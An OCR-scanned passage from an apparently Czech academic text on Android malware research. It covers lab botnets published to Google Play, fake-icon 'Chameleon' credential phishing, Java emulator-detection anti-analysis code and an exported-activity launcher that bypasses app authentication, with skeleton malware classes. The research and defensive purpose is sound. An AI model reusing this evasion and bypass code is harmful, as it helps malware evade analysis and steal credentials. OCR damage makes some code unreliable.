aktualni ptfedpovédi pocCasi obsahujici 1 skryté tidici ptikazy.

Nicméné vSechny Skodlivé vlastnosti mohly byt odhaleny statickou analyzou
kodu. Aby byl kod pro bezpecnostni mechanismy Google Play co nejlépe staticky
analyzovatelny, nebyla provedena jeho obfuskace. Bez ohledu na skute¢nost, Ze
aplikace Spennymoor weather predstavovala znacné bezpe€nostni riziko, byla
uspésné publikovana prostiednictvim Google Play. Kdokoliv si ji mohl
nainstalovat do svého chytrého telefonu nebo tabletu. Celkové schéma ¢innosti
botnetu je zobrazeno na obrazku 5.51.

C&C server
'0 Google play —

Installation

Obr. 5.51: Celkové schéma cinnosti experimentalniho botnetu [zdroj viastni]

Na zakladé uspésného publikovani aplikace Spennymoor weather na Google
Play, byl vytvoren dalsi botnet, jehoZ cilem bylo potvrzeni teorie o nedostatecné
statické analyze bezpec¢nostnich mechanismii Google Play. Klient botnetovskeé
sité, aplikace Meadowfield weather, byla opét kombinaci bota a trojského koné.
Mobilni software Meadowfield weather byl naprogramovan tak, aby byl jeho
Skodlivy zamér jesté vice zfeyjmy, nezZ tomu bylo v pfipadé aplikace Spennymoor
weather. Celkové schéma Cinnosti druhého experimentalniho botnetu je vidét na
obrazku 5.52. Aplikace Meadowfield weather je prostiednictvim Google Play

258



nainstalovdna do mobilniho zatizeni obéti (viz bod 1, na obrazku 5.52). Jakmile
botmaster pomoci C&C serveru vyda ptikaz k instalaci malwaru (viz bod 2, na
obrazku 5.52), bot uvnitt programu Meadowfield weather stdhne zaSifrovany
instalacni balicek z externiho serveru (viz body 3 a 4, na obrazku 5.52). Tento rys
botnetu je velmi nebezpecny, protoZze botmaster miize timto zplisobem ménit
Skodlivy software na externim serveru. To znamena, ze do zatizeni, ktera ovlada,
mlZe postupné nainstalovat celou fadu malwart, které mohou vykonavat
riznorodé Skodlivé Cinnosti. Navic Google Play nema ptimou kontrolu nad
obsahem externiho serveru. Botmaster tak mtze v dobé schvalovaciho procesu
aplikace obsahujiciho bota umistit na externi server n¢jakd neSkodna nebo
dokonce uZite¢nd data. Jakmile Google Play dokoné¢i schvalovaci proces,
neSkodna data jsou nahrazena nebezpe¢nym instalacnim baliCkem, ktery je navic
zaSifrovany. Po dokondeni stahovani je provedeno desifrovani*® a podvodna
instalace (viz bod 5, na obrazku 5.52).

C&C server
» Google play —

Mobile device

File server

—
—
—

Obr. 5.52: Celkové schéma cinnosti druhého experimentdlniho botnetu [zdroj viastni]

35 Stejne jako v pripadé aplikace Spennymoor weather bylo heslo zaslano v JSONu spolu
s prikazem k instalaci a predpovedi pocasi.
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Z obréazku 5.53 je patrné, Ze navzdory velmi nebezpecné funkcionalité, kterou
disponovala aplikace Meadowfield weather, byl schvalovaci proces Uspésné
dokoncen. Meadowfield weather si mohla do svych mobilnich zafizeni
nainstalovat vice jak miliarda aktivnich uZivatelli Google Play. Velmi nebezpecna
je zejména kombinace stahovani dat zexternich zdroji a naslednd lokalni
instalace vyuZivajici tato stazend data. Zdrojovy kod byl vytvofen tak, aby bylo
mozné uvedenou c¢innost co nejsnadnéji zjistit pomoci statické analyzy
zdrojovych kodi’®. Ziskané experimentalni vysledky potvrzuji hypotézu, Ze
v analyze souboru AndroidManifest.xml, zatimco staticka analyza zdrojovych
kodi je podceniovana.

© 4. 75%id 15:05
Q

Meadowfield Weather st quick forecast

Meadowfield weather

Spennymoor Software

E PEGI3
INSTALL

- Q

Weather Similar
A new revolutionary weather application
with real time forecast ~ best and free!

READ MORE

Meadowfield Weather -

Obr. 5.53: Aplikace Meadowfield weather obsahujici bota byla publikovana na
Google Play [zdroj viastni]

Dilezité upozornéni:

Béhem provadénych experimentd nebyly shromazdény Z74adné udaje od
skute¢nych uzivateli Google Play. Botmasterské rozhrani bylo navrZzeno k
provadéni Skodlivych akci na zakladé IP adres, které byly explicitné oznaceny
jako aktivni cil. Uvedeny krok zajistil, Ze vSechny Skodlivé ¢innosti byly
provadény pomoci technologie VPN (Virtual Private Network) pouze na
mobilnich zafizenich, ktera byla ve vlastnictvi Fakulty aplikované informatiky,
Univerzity TomaSe Bati ve Zliné. Po ukonceni experimentii byly botnety

3¢ Napriklad pripojovact fetezce na externi server byly primou soucasti zdrojového kodu
(Hardcoded).
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okamzité deaktivovany. Testovaci aplikace Spennymoor weather a Meadowfield
weather se v soucasné dobé na Google Play jiZ nenachazeji.

5.2.6 Chameleon malware

Chameleon malware ptedstavuje dal§i vyvojovy stupenn Skodlivého software,
ktery vylepsuje principy popsané v oddilech VySetfovaci metody ziskanych
vzorkll mobilniho malwaru a Analyza malwaru typu Hidden APK s uZivatelskou
interakci. Malware vytvoii na domovské obrazovce mobilniho zatizeni faleSnou
ikonu, ktera vypada stejné jako ikona néjaké z legitimnich aplikaci, na které
malware utoCi. Viz leva Cast obrazku 5.54. DalSi mozZnosti je vytvoreni
alternativni ikony?’, k jiz existujici legitimni ikong, ktera se nachazi v ikonovém
seznamu nainstalovanych aplikaci. Pro popisku faleSn¢ ikony Ize vyuZzit
socialniho inzenyrstvi: k ndzvu legitimni aplikace miize byt pfidan dodatek jako
Save Login, Save Mode a podobné. V praveé ¢asti obrazku 5.54 je modie oznacena
legitimni ikona. Falesn4 ikona je oznaCena Cervené a obsahuje slovo Save.
Popisek se snazi v uZivateli vyvolat dojem, Ze ma legitimni aplikace dva reZimy
¢innosti: normalni a se zvySenou urovni zabezpeceni. Timto jednanim se malware
snaZzi uzivatele pfimét, aby citlivé operace, jako je zadavani ptihlasovacich udajt,
provadél prostrednictvim faleSné ikony.

Android Emulator - m:5554

Android Emulator - m:5554

Q Google
%ﬂ‘%

Best Maps - |

APPS WIDGETS

| o

APIDemos Best Maps- BestMaps- Browser
PT Lab PT Lab (Save

& ©

Calculator Calendar Camera Clock

Custom Dev Settings  Dev Tools Downloads

Z 6

Email Gallery Gestures Google
Builder Settings

Obr. 5.54: Mozné verze falesnych ikon [zdroj viastni]

Malware nemusi Utocit pouze na jedinou legitimni aplikaci. Takovy pftistup
neni efektivni. U¢inny moderni malware si s sebou nese cely katalog aplikaci, na
které mize zautocCit. Malware voli faleSnou ikonu podle toho, jakou ze zajmovych
aplikaci nalezne nainstalovanou na mobilnim zafizeni. Z hlediska Gto¢nika jsou

37 Alternativni ikona je rovnéz falesna.
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primarnim cilem aplikace mobilniho bankovnictvi, cloudovych sluzeb, klienti
socialnich siti a aplikace, které jsou obsluhovany vzdalenym aplika¢nim serverem
na zaklad¢ uZivatelského jména a hesla. Na obrazku 5.55 je vidét, Ze se malware
snaZzi predstirat, Ze je pfihlaSovaci aktivitou zajmové aplikace a Ze se snazi pfimét
uzivatele, aby do ni zadal své piihlasovaci udaje. Tvilirce malwaru nemusi sam
programovat XML layouty podvodnych ,,chameleonskych* aktivit a snazit se, aby
vypadaly jako ptihlaSovaci aktivity, které patti legitimnim aplikacim. Tvlrce
Chameleon malwaru miZe pomoci nastroje APKTool provést dekompilaci
legitimnich APK balic¢kt a ziskat tak originadlni XML layouty i ikony.

Mobilni zafizeni Katalog podvodnych ,,chameleonskych” aktivit:
Maps APP

Banking APP

Social APP

Cloud APP

\
\ User name:

\ Password:
FaleSna ikona \

N

Obr. 5.55: Vztah falesné ikony a katalogu chameleonskych aktivit [zdroj viastni]

Jakmile uzivatel klikne na faleSnou ikonu, je aktivovan malware. Zjisti, zda jiz
byly odcizeny pfihlaSovaci udaje k aplikaci, na kterou utoc¢i. Uvedenou skutecnost
muZe napiiklad zjistit uloZzenim logické proménné do XML souboru, ktery bude
umistén v privatnim datovém prostoru malwaru. Pokud malware zjisti, Ze byla
kradez provedena v nékterém =z piedchozich spusténi, vykond piimy start
legitimni aplikace. Kliknuti na faleSnou ikonu ma stejny ucinek jako kliknuti na
legitimni ikonu, nebot’ v tomto pfipadé€ jiz neni potieba vykonavat Skodlivou
¢innost. Pokud ptihlaSovaci udaje jesté nebyly odcizeny, malware spusti faleSnou,
tj. chameleonskou aktivitu. FaleSna aktivita vypada stejné jako ptihlaSovaci
aktivita legitimniho programu, viz obrazek 5.56 (na obrazku je faleSna aktivita
kvili odlisitelnosti oznacena fake.app.cz). Jakmile uZivatel zada své ptihlaSovaci
udaje, malware je bud”:

e okamZité poSle utocnikovi, pokud je k dispozici internetové ptfipojeni,
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e nebo je zaSifruje a uloZi si je do svého privatniho datového prostoru.
Jakmile bude mobilni zafizeni pfipojeno k siti Internet, poSle odcizené
piihlasovaci daje tto¢nikovi.

Nasledné je uZivateli zobrazena zprava, Ze piihlaSovaci udaje nejsou spravne,
timto jedndnim se malware snazi v uzivateli vyvolat dojem, Ze chybné zadal
néktery z piihlasovacich udaji. V dalSim kroku je spuSténa piihlaSovaci aktivita
legitimni aplikace (viz obrazek 5.56 vpravo nahote, aktivita kvili odliSitelnosti
oznacena ptlab.fai.utb.cz). UZivatel znovu zada login a heslo, tentokrat jiz do
aktivity skutec¢né aplikace. VloZené piihlasovaci udaje jsou legitimni aplikaci
akceptovany.

Android Emulator - m:5554 Android Emulator - m:5554 Android Emulator - m:5554

il e 12:29
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0~|Lo , o-llo /
PENETRATION PENETRATION
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LABORATORY LABORATORY
PT LAB PT LAB

—) user123

Wrong Credentials

Android Emulator - m:5554

fake.app.cz
ptlab.fai.utb.cz

N
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theft_done Ne
= true/false

Ano

ptlab.fai.utb.cz

Obr. 5.56: Mechanismus spousténi mobilniho malware [zdroj viastni]

Vyse popsany mechanismus ptedstavuje velmi nebezpecny jev. Jde o typ Utoku
na mobilni aplikace, na ktery nejsou bezpecnostni analytici zvykli. Malware se
nesnazi obvyklym zplsobem piekonat bezpecnostni mechanismy legitimnich
aplikaci a operacniho systému. To znamena, Ze nema rysy tradi¢niho utoku, ktery
se snazi napadat chranéné ¢asti legitimnich aplikaci, jak je vidét na obrazku 5.57.
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Obr. 5.57: Tradicni utok, ktery se snazi napadat chranéné casti legitimnich aplikaci
[zdroj viastni]

Chameleon malware misto toho ptedstira identitu obéti (legitimni aplikace, na
kterou Utoc¢i) a uzivatel do n& sdm dobrovolné zada své priihlaSovaci udaje.
Celkové schéma zachycujici oba podvodné zplsoby spusténi malwaru typu
Chameleon je vidét na obrazku 5.58.

ptlab.fai.utb.cz

use
Malware Technique 1 —_—
LOGIN

Androld Emulator - m:5554

S ol
&
fake.app.cz
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Obr. 5.58: Oba podvodné zpiisoby spusteni malware typu Chameleon [zdroj viastni]
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5.2.7 Anti-Analysis techniky

Metody dynamické analyzy mobilniho malwaru se neustale zlepSuji a dokazi
tak na zdklad¢ chovani odhalit stale vétSi pocet Skodlivych aplikaci. Zakladem
dynamické analyzy je spousténi podezielé aplikace v emulatoru. Kontrolované
spousténi emulatoru umoZnuje zapojeni subsystémi napodobovani chovani
uzivateli a logovani vSech podezielych Ccinnosti, které jsou nasledné
vyhodnocovany. Uvedeny zplsob testovani umoZhuje zna¢nou miru
automatizace, ktera se projevuje v rychlosti a nizkych nakladech ve vztahu
k jednotlivym vzorkim. Tvilrci mobilniho malware na uvedeny trend zareagovali
a vytvorili tzv. Anti-Analysis techniky. Malware pomoci Anti-Analysis technik
nejprve zjistuje, jestli je analyzovan. Snazi se zjistit, zda neni spousStén v
emulatoru misto skuteéného mobilniho zatfizeni. Pokud malware zjisti, Ze je
analyzovan, nedojde k aktivaci Skodlivych c¢asti zdrojového kodu. Takoveé
chovani ma za néasledek, Ze Skodlivy APK balic¢ek projde dynamickym
vySetfovanim, aniz by byl oznaCen jako malware. Z vySe uvedeného popisu
vyplyva, Ze se jedna o velmi nebezpecny rys, nebot’ bezpe€nostni skenery maji

Nejcastéji se pro Anti-Analysis techniky pod opera¢nim syst¢tmem Android
pouzival IMEI, protoZe na rozdil od jinych identifikatord ho nebylo mozné v
Android emuléatoru od spoleénosti Google LLC*® snadno zménit. Aby bylo IMEI
mozn¢ modifikovat, musel byt emulator pomérné komplikovanym zplsobem
upraven. Uprava zahrnovala zmény spustitelného souboru emulatoru provedené
v hexadecimalnim editoru [152].

Ukazka Anti-Analysis kodu zaloZeného na hodnoté IMEI:

private Boolean antiAnalysisPhone(Context myContext)

{

Boolean isPhoneEmulated = false;
TelephonyManager telephonyManager =
(TelephonyManager)myContext.getSystemService(Context. TELEPHONY_SERVICE);

/Il EMULATED VALUE = 000000000000000
String iD = telephonyManager.getDeviceld();

if(iD.equals("000000000000000"))
{

isPhoneEmulated = true;

}

38 Jedna se o nejpouzivanéjsi emuldator, je soucasti Android SDK.
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return isPhoneEmulated;

}

Malware pomoci vySe uvedeného kodu zjiStuje, zda neni dynamicky
analyzovan. SnaZi se zjistit, zda neni spoustén v emulatoru. Cini to pomoci
instance tfidy TelephonyManager, ktera zavold metodu getDeviceld(). Je-li
vracené¢ ID (IMEI) rovno fetézci "000000000000000", je jasné, Ze je malware
spoustén v emulatoru, protoze "000000000000000" je vychozi hodnota, kterou
ma emulator Androidu. Uvedend hodnota je rovnéZ neptipustna pro fyzicka
zafizeni. Malware pfed kazdym vykonavanim Skodlivého kodu zjistuje, jestli neni
analyzovan:

if(antiAnalysisPhone(context))

{

/I Malware is analyzed. Do not anything malicious.

}

else

{

/I Malware is not analyzed. Do something malicious.

}

Z ukazky je jasné, ze pokud byl malware testovan v emulatoru, Skodliva Cast
kodu by se nikdy nevykonala. Uvedeny systém fungoval az do verze API 22
(Android 5.1, LOLLIPOP MR1), kdy se pouzival starS§i systém opravnéni.
V téchto systémech bud’ uzivatel béhem instalace ptijal vSechna opravnéni, ktere
aplikace poZadovala nebo mohl zamitnout instalacni proces jako celek. Jednalo
se o binarni volbu, ktery byla ptiliS hruba a uzivatelim ¢asto nevyhovovala. Proto
byl po€inaje verzi API 23 (Android 6.0, M) vytvofen jemnéjsi systém opravnéni.
Jakmile je aplikace nainstalovana, jsou ji automaticky ptidélena normalni
opravnéni, ktera neptedstavuji bezpecnostni riziko. Nebezpecna opravnéni nejsou
pfidélena a musi byt ruéné¢ povolena uZivatelem. Viz oficidlni dokumentace
k operacnimu systému Android:

“If your app lists normal permissions in its manifest (that is, permissions that
don't pose much risk to the user's privacy or the device's operation), the system
automatically grants those permissions to your app.

If your app lists dangerous permissions in its manifest (that is, permissions that
could potentially affect the user's privacy or the device's normal operation), such
as the SEND SMS permission above, the user must explicitly agree to grant those
permissions” [153].

Zména systému opravnéni rovnéz znamena, Ze uzivatel mize opravnéni dané
aplikaci kdykoliv zakéazat. S uvedenou skuteCnosti musi pocitat 1 tvirci
moderniho malwaru, tj. je nutné upravit Anti-Analysis kod.
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V ukazce je naznaceno jedno z moznych feSeni:

private Boolean antiAnalysisPhone(Context myContext)

{
Boolean isPhoneEmulated = false;
try
{
int permissionReadPhoneState =
ContextCompat.checkSelfPermission(myContext,
Manifest.permission.READ_PHONE_STATE);

if (permissionReadPhoneState |= PackageManager.PERMISSION_GRANTED)
{

isPhoneEmulated = true;

}

else

{

TelephonyManager telephonyManager =
(TelephonyManager)myContext.getSystemService(Context. TELEPHONY_SERVICE);

/I EMULATED VALUE = 000000000000000
String iD = telephonyManager.getDeviceld();

if(iD.equals("000000000000000"))
{

isPhoneEmulated = true;
}
}
}
catch (Exception e)
{
isPhoneEmulated = true;
Log.d("MMMM", "Something is wrong, | cannot determine EMULATION STATUS!
Exception: " +
e.toString());
}

return isPhoneEmulated;

}

V ukézce kodu, kterd je uvedena vySe, malware nejprve zjistuje, zda ma
opravnéni READ PHONE STATE, které je nutné pro zjisténi IMEI. Pokud
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uvedené opravnéni nema, je pro malware vyhodngj§i piedpokladat, Ze je
analyzovan v emulatoru a vratit isPhoneEmulated = true. Uvedeny stav neni z
hlediska malwaru Zadouci. Kvalitni malware by se vzdy mél snazit donutit
uzivatele, aby mu sam ptidélil vSechna opravnéni, které potiebuje. Naptiklad
tvlirce malwaru, ktery odstranil z placené mobilni hry ochranu a vloZil do ni
Skodlivou ¢ast kodu, zajisti, Ze hru nelze spustit, dokud uzivatel nepovoli v§echna
opravnéni, které infikovana aplikace pottebuje ke své Skodlivé ¢innosti. Pokud
ma malware v ukazce opravnéni READ PHONE STATE, opét zjistuje, je-li
vracen¢ ID (IMEI) rovno fetézci  "000000000000000". Metoda
antiAnalysisPhone funguje dobfe v emulatorech pro starsi API verze 1 pro API
23. Pokud je uvedena metoda spusténa napiiklad na emulatoru s API 25, vyvola
nasledujici vyjimku:

java.lang.NullPointerException: Attempt to invoke virtual method 'boolean
java.lang.String.equals(java.lang.Object)' on a null object reference.

Tato chyba nastava, protoZe na emulatoru s API 25 volani getDeviceld() vraci
misto fetézce "000000000000000" hodnotu null. Aby koéd fungoval, musi byt
upraven tak, aby bylo zjiStovano, zda getDeviceld() vraci null:

private Boolean antiAnalysisPhone(Context myContext)

{

Boolean isPhoneEmulated = false;

try
{
int permissionReadPhoneState =
ContextCompat.checkSelfPermission(myContext,
Manifest.permission.READ PHONE STATE);

if (permissionReadPhoneState I=
PackageManager. PERMISSION GRANTED)

{ 1sPhoneEmulated = true;

b

else

{

TelephonyManager telephonyManager =

(TelephonyManager)myContext.getSystemService(Context. TELEPHONY SER
VICE);

// EMULATED VALUE = null
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String 1D = telephonyManager.getDeviceld();

if(iD == null)
{

1sPhoneEmulated = true;
}

}
b
catch (Exception e)
{
1sPhoneEmulated = true;
Log.d("MMMM", "Something 1is wrong, [ cannot determine
EMULATION STATUS! Exception: " +
e.toString());
b

return isPhoneEmulated;

}

Kod sice funguje korektné na emuldtoru s API 25, ale ani na emulatoru s API
19, ani API 23 nepracuje spravné. Na téchto emulatorech metoda getDeviceld()
vraci fetézec "000000000000000". Dojde k chybnému vyhodnoceni, Ze neb&Zi na
emulatoru. Z toho plyne, Ze je kod potieba upravit tak, aby spravné detekoval
spousténi v emulatoru se v§emi uvedenymi API.

Ukéazka kodu, ktery funguje na emulatorech s API 19, 23 a 25:

private Boolean antiAnalysisPhone(Context myContext)

{

Boolean isPhoneEmulated = false;

try
{
// API <23

if(Build. VERSION.SDK_INT < Build. VERSION CODES.M)

{
TelephonyManager telephonyManager =

(TelephonyManager)myContext.getSystemService(Context. TELEPHONY SER
VICE);

String 1D = telephonyManager.getDeviceld();

// EMULATED VALUE = 000000000000000
1f(1iD.equals("000000000000000"))
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{

1sPhoneEmulated = true;
Log.d("MMMM", "API < 23: 000000000000000");

b
)
// AP1>=23
else if(Build. VERSION.SDK INT >= Build. VERSION CODES.M)
{
int permissionReadPhoneState =

ContextCompat.checkSelfPermission(myContext,
Manifest.permission.READ PHONE STATE);

if (permissionReadPhoneState I=
PackageManager. PERMISSION GRANTED)

{ 1sPhoneEmulated = true;

b

else

{

TelephonyManager telephonyManager = (TelephonyManager)
myContext.getSystemService(Context. TELEPHONY SERVICE);

String 1D = telephonyManager.getDeviceld();

// APl ==123
if (Build. VERSION.SDK_INT == Build.VERSION_ CODES.M)
{

/ EMULATED VALUE = 000000000000000
if (iD.equals(""000000000000000"))
{
1sPhoneEmulated = true;
Log.d("MMMM", "API = 23: 000000000000000");

f
}
// API == 25
else if (Build. VERSION.SDK_INT >=
Build. VERSION_CODES.N_MR1)
{

// EMULATED VALUE = null
if (iD == null)
{

1sPhoneEmulated = true;
Log.d("MMMM", "API = 25: null");
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b
b

else

{
1sPhoneEmulated = true;
b
b
b
b
catch (Exception e)
{
1sPhoneEmulated = true;
Log.d("MMMM", "Something 1is wrong, [ cannot determine
EMULATION STATUS! Exception: " +
e.toString());
b

return isPhoneEmulated;

}

Dalsi moZnost ptredstavuje analyza stavu baterie. Pro emuldator je typicke, Ze se
parametr Charge level neméni v Case. Typické hodnoty souvisejici s baterii jsou
zobrazeny na obrazku 5.59. Baterie je nabita z padesati procent, mobilni zatizeni
je aktualn€ nabijeno a stav baterie je dobry.

o @® [ Extended controls - PMA:5554

o Charge level Charger connection
AC charger
Yy  — 50%
Battery health Battery status

Good Charging

N
W

Obr. 5.59: Hodnoty o stavu baterie, jez jsou typické pro emuldtor [zdroj viastni]
Ukazka kodu, ktery zjiSt'uje, zda jsou hodnoty tykajici se baterie vychozi:
private Boolean antiAnalysisBatteryExtended(Context myContext)
{

Boolean isBatteryEmulated = false;

IntentFilter intentFilter = new IntentFilter(Intent. ACTION_BATTERY_CHANGED);
Intent batteryStatus = myContext.registerReceiver(null, intentFilter);

/[ EMULATED VALUE =50
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int level = batteryStatus.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);

/[ EMULATED VALUE =100
int scale = batteryStatus.getIntExtra(BatteryManager.EXTRA_SCALE, -1);

/[ EMULATED VALUE = BATTERY_STATUS_CHARGING
int chargingStatus = batteryStatus.getIntExtra(BatteryManager.EXTRA_STATUS,

/ EMULATED VALUE = BATTERY_PLUGGED_AC
int plugStatus = batteryStatus.getIntExtra(BatteryManager. EXTRA_PLUGGED, -

/[ EMULATED VALUE = BATTERY_HEALTH_GOOD
int healthStatus = batteryStatus.getintExtra(BatteryManager. EXTRA_HEALTH,

if(level == 50 && scale == 100 &&
chargingStatus == BatteryManager.BATTERY_STATUS_CHARGING &&
plugStatus == BatteryManager.BATTERY_PLUGGED_AC &&
healthStatus == BatteryManager.BATTERY_HEALTH_GOQD)
{
Log.d("MMMM", "Is Battery Emulated (Extended)? YES");
isBatteryEmulated = true;

}

else

{
Log.d("MMMM", "Is Battery Emulated (Extended)? NO");

}

return isBatteryEmulated;

}

V ukazce zdrojového kodu jsou nejprve zjistény parametry tykajici se stavu
baterie jako naptiklad BatteryManager. EXTRA LEVEL a
BatteryManager. EXTRA STATUS. Nasledné jsou zjisténé hodnoty porovnany
s vychozimi hodnotami typickymi pro emulétor, pokud se porovnavané hodnoty
shoduji, je vyhodnoceno, Z7e¢ se jednda o bcéh programu v emulatoru
(isBatteryEmulated = true). Stejné jako v ptfipadé identifikatoru IMEI se mohou
vychozi hodnoty liSit. Napfiklad vychozi stav nabiti mize byt na nékterych
emulatorech na 80 ¢i 100 procentech apod. Dal$i moZnosti je zjistovani
vychozich hodnot telefonnich c¢isel. Napiiklad pro nékteré verze Android
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emulatoru, ktery je soucasti SDK, je vychozi hodnota (650) 555-1212 nebo
+1 650 555-67809.

Z vyse uvedenych ukazek je jasne, Ze vytvoreni kvalitni dobie vytvofené Anti-
Analysis metody je velmi narocné a vyzaduje zna¢né mnoZzstvi testovani. To
mimo jiné znamena, Ze je nutné na vSech hlavnich emulatorech systematicky
odladit vS8echny API, ktera jsou k dispozici. Je proto pravdépodobné, Ze existuje
projekt, ktery Anti-Analysis metody zapouzdiuje do ucelené knihovny, ve které
jsou komplexni profily jednotlivych verzi emulatori vCetné typickych hodnot.
Takeé je potieba vzit v ivahu skute¢nost, Ze bezpe€nostni analytici mohou vychozi
hodnoty ménit. Proto lze ptedpokladat, Ze vyhodnocovaci proces nepouziva
logicke operatory (viz ukazka kodu vyse), ale pracuje s pravdépodobnostmi. Anti-
Analysis knithovna by umoziiovala komunité postupné odlad’ovat a ptidavat nove
profily emulatori. Navic by bylo mozné jeji opakované pouZiti v riznych
malwarech.

5.2.8 Malware jako spoustéc zabezpecené aplikace

V oddile 4.6.2 APK repackage (Cast, ktera se zabyva utokem na parametr
exported souboru AndroidManifest.xml) bylo popséano, jak aktivité predstavujici
chranénou ¢ast aplikace zmeénit v souboru AndroidManifest.xml parametr
exported. Tviirce mobilntho malwaru u placené aplikace upravi chranénou
aktivitu, naptiklad:

<activity android:exported="true"
android:name="cz.utb.fai.bestmaps_ptlab.BestMapsActivity"/>

Takto nastavend mobilni aplikace sice odmitne prostfednictvim startovni
aktivity spustit chranénou ¢ast aplikace komukoliv, kdo nezné spravny login a
heslo, nicméné diky parametru nastavenému na hodnotu true, muize tvirce
mobilniho malwaru napsat specialni spoustéci program, ktery bude chranénou
cast aplikace (tj. aktivitu BestMapsActivity) spoustét ptimo. To znamena, Ze
startovni aktivita vyzadujici login a heslo bude obejita. UZivatel si do svého
mobilniho zafizeni nainstaluje jak aplikaci, kterd poskytuje svou funkcionalitu
pouze platicim zdkaznikim (Best Maps PTLab), tak spoustéc (BM Launcher V3).
Na obrazku 5.60 je zobrazena piedstava, kterou ma uZivatel o fungovani
spoustéce. UZivatel nebude Best Maps PTLab spoustét piimo, ale prostiednictvim
spoustéCe BM Launcher V3. To znamena, Ze klikne na ikonu BM Launcher V3 a
poté na tladitko *** FREE *** které spusti chranénou cast aplikace Best Maps
PTLab. Nyni mizZe uZivatel zdarma pouzivat funkcionalitu ur¢enou pouze pro
platici zdkazniky. UZivatel neptedpoklada, Ze by program BM Launcher V3 mohl
pfedstavovat bezpecnostni hrozbu.
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Obr. 5.60: Predstava uzivatele o fungovani malwaru typu spoustec [zdroj viastni]

Na obrazku 5.61 je zobrazeno skute¢né fungovani malwaru BM Launcher V3:
Po startu je v metodé¢ onCreate automaticky aktivovana prvni ¢ast Skodlivého
kodu:

/I START VLAKNA HNED PO STARTU LAUNCHERU SE SKODLIVYM KODEM
/I VLAKNO NA POZADI:
new BackgroundMalware().execute(Caller.onCreate.getCaller());

Jakmile uZivatel klikne na tla¢itko *** FREE *** bude spusStén nasledujici
kod:

public void free_onClick(View v)

{
I/ AUTHENTICATION BYPASS
/I HLAVNI VLAKNO:
Intent intent = new Intent("android.intent.action.MAIN");
intent.setComponent(new ComponentName("cz.utb.fai.bestmaps_ptlab",
"cz.utb.fai.bestmaps_ptlab.BestMapsActivity"));
startActivity(intent);
Il START VLAKNA SE SKODLIVYM KODEM
Il VLAKNO NA POZADI:
new BackgroundMalware().execute(Caller.onClick.getCaller());

finish();
}

Z ukazky zdrojového kodu je patrné, Ze po kliknuti na tlaCitko je v hlavnim
vlakné spusténa aktivita BestMapsActivity aplikace Best Maps PTLab. Nasledné
je ve vedlejsim vlakné na pozadi spusténa hlavni Skodliva ¢ast kodu. To znamena,
ze uzivatel spousti Skodlivy kod sam a dobrovolné. Volani metody finish odsune
BM Launcher V3 do pozadi, takze v okamziku, kdy je na obrazovce
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BestMapsActivity a uZivatel klikne na tlacitko Zpét, je pfepnut na domovskou
obrazovku misto, aby byl fokus piedan zpatky aplikaci BM Launcher V3.
Uvedené opatieni prodluzuje dobu, po kterou miiZze malware béZet na pozadi.
Nebot vldkno se skodlivym kdédem se vykonava jen tak dlouho, dokud je v paméti
zafizeni hlavni vlakno obsahujici GUI, coZ znamena, zZe v mobilnim zafizeni musi
byt spusténa alespoii jedna z aktivit:

e BestMapsActivity aplikace Best Maps PTLab,

e startovni aktivita malwaru BM Launcher V3.

Aktivity nemusi mit fokus (nemusi byt na obrazovce zatizeni). Staci, kdyz jsou
na pozadi. Volanim metody finish ze startovni aktivity BM Launcher V3 je
zajisténo, Ze pobeéZi na pozadi a bude tam tak dlouho, dokud se o jeji ukonceni
aktivné nepostara sam uzivatel. Napftiklad tim, Ze ji odstrani ze seznamu bé&Zicich
aplikaci (kliknutim na softwarové tlacitko “Recents” a pouzitim “Recents
Screen”).

Skutecnost:
onCreate/onResume — samostatné vlakno na pozadi
( 3001): Malicious code part 1 *AUTOMATIC* has been executed.

Spoustéc

Androld Emulator - m:5554 Androld Emulator - m:5554

Placend aplikace ,,zadarmo”

Android Emulator - m:5554

X 'Y
START TO USE BEST MAPS

( 3001): Malicious code part 2 *USER CLICK* has been executed.
Obr. 5.61: Princip fungovani malwaru typu spoustec [zdroj viastni]

Celou funkcionalitu malwaru lze zapouzdtit do jediné tfidy, ktera je potomkem
tridy AsyncTask:

import android.os.AsyncTask;
import android.util.Log;

public class BackgroundMalware extends AsyncTask<String, Void, String>

{
private static String mTAG = "MMMM";

private String callerlD ="";
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@Override
protected String doInBackground(String... params)
{

this.callerlD = params|0];

try
{
if(caller|D.equals(Caller.onCreate.getCaller()))
{
/I ZDE SE PROVEDE SKODLIVY KOD
Log.d(mTAG, "Malicious code part 1 *AUTOMATIC* has been executed.");
}

else if(callerlD.equals(Caller.onClick.getCaller()))
{
/I ZDE SE PROVEDE SKODLIVY KOD
Log.d(mTAG, "Malicious code part 2 *USER CLICK* has been executed.");

)
)

catch (Exception e)

{
Il ZADNE VYPISY V PRIPADE CHYBY

}

return null;

}

@Override
protected void onPostExecute(String result)

{
try

{
/[ CINNOST MALWARE VLAKNA JE UKONCENA

Log.d(mTAG, callerID +": Malware code execution is done.");

}

catch (Exception e)

{
/| ZADNE VYPISY V PRIPADE CHYBY
)
}
}
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Vyse uvedend implementace zajisti vykondvani Skodlivé &innosti pomoci
vladken na pozadi. Zapouzdieni je rovnéZ vyhodné pro znovupouZiti Skodlivého
kodu, nebot’ ttida BackgroundMalware muze byt opakované vkladana do dalSich
mobilnich aplikaci (infekce legitimnich aplikaci, trojsti kon€ apod.).

Z popisu vyplyva, Ze implementace malwaru do vlaken na pozadi je vyhodna
pro Skodlivé €innosti, které nepotiebuji bézet v mobilnim zatizeni delSi asovy
ramec. Pri1 delSim béhu hrozi, Ze uzivatel ukonci ¢innost malwaru tim, ze ukonci
hlavni vlakno, ve kterém je GUI (aktivita BestMapsActivity aplikace Best Maps
PTLab, startovni aktivita BM Launcher V3). Situace je zachycena na obrazku
5.62. Malware, ktery ke své Skodlivé Cinnosti, potiebuje dlouhodobé bézet na
pozadi, je vyhodnégjsi implementovat jako sluzbu, kterd miize pracovat nezavisle
na aplikaci, ze které byla spousténa.

Ukéazka zdrojového kodu implementace malwaru jako sluzby:

import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

import android.support.annotation.Nullable;
import android.util.Log;

public class ServiceMalware extends Service

{
private static String mTAG = "MMMM",;

@Override
public void onCreate()

{

}

@Override
public int onStartCommand(Intent intent, int flags, int startld)

{
/I ZDE SE PROVEDE SKODLYVA CAST KODU
stopSelf();

return START_NOT_STICKY;
}

@~Override
public void onDestroy()

{
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Log.d(mTAG, "Malware code execution is done.");

}

@Nullable
@Override
public IBinder onBind(Intent intent)
{
return null;
}
}

Pti tvorb&é malwaru jako instance tfidy Service je nutné proveést predepsané
